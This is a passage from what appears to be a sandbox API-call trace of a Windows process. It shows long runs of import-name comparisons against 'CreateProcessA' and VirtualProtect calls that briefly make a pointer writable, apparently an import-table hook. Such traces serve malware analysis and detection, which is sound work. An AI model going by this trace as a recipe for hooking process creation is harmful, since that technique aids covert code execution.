lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetFileSize", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0079.503] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="ProcessIdToSessionId", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="MulDiv", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetLogicalDrives", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="IsValidLocale", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0079.503] lstrcmpiA (lpString1="GetAtomNameW", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="GetAtomNameA", lpString2="CreateProcessA") returned 1 [0079.503] lstrcmpiA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0079.504] lstrcmpiA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.504] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.504] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.504] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.504] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.504] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.505] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.505] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.505] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.505] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.505] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.506] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.506] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.506] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e90000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef6e90000, AllocationBase=0x7fef6e90000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.506] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.506] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef6e20000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef6e20000, AllocationBase=0x7fef6e20000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.507] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.507] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.507] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef9a10000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fef9a10000, AllocationBase=0x7fef9a10000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2020cc0 | out: hHeap=0x2020000) returned 1 [0079.508] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x27ee10, dwLength=0x30 | out: lpBuffer=0x27ee10*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.508] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed50, ReturnLength=0x0) returned 0x0 [0079.508] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020cc0 [0079.508] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x2) returned 1 [0079.509] VirtualProtect (in: lpAddress=0x7feff1212b8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ed50 | out: lpflOldProtect=0x27ed50*=0x40) returned 1 [0079.509] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2020d30 [0079.509] lstrcmpiA (lpString1="memcpy", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="memset", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="memcmp", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="_onexit", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="_lock", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="__dllonexit", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="_unlock", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="__C_specific_handler", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="_amsg_exit", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="free", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="_initterm", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="malloc", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="_XcptFilter", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="_vsnwprintf", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="memmove", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="wcstoul", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="_vsnprintf", lpString2="CreateProcessA") returned -1 [0079.509] lstrcmpiA (lpString1="sqrt", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegGetValueW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegDeleteKeyExW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0079.509] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RegOpenCurrentUser", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="ExitThread", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="FreeSid", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessA") returned -1 [0079.510] lstrcmpiA (lpString1="GetSidSubAuthority", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetSidSubAuthorityCount", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="CheckTokenMembership", lpString2="CreateProcessA") returned -1 [0079.510] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="ReleaseMutex", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0079.510] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0079.510] lstrcmpiA (lpString1="OpenEventW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="lstrlenW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="CreateProcessA") returned 1 [0079.510] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LocalReAlloc", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetACP", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="IsDBCSLeadByteEx", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0079.511] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0079.511] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LocalAlloc", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="lstrlenA", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="SetFilePointer", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0079.511] lstrcmpiA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0079.511] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="FlsSetValue", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="FlsAlloc", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="FlsFree", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="OpenMutexW", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0079.511] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0079.511] lstrcmpiA (lpString1="FindAtomW", lpString2="CreateProcessA") returned 1 [0079.511] 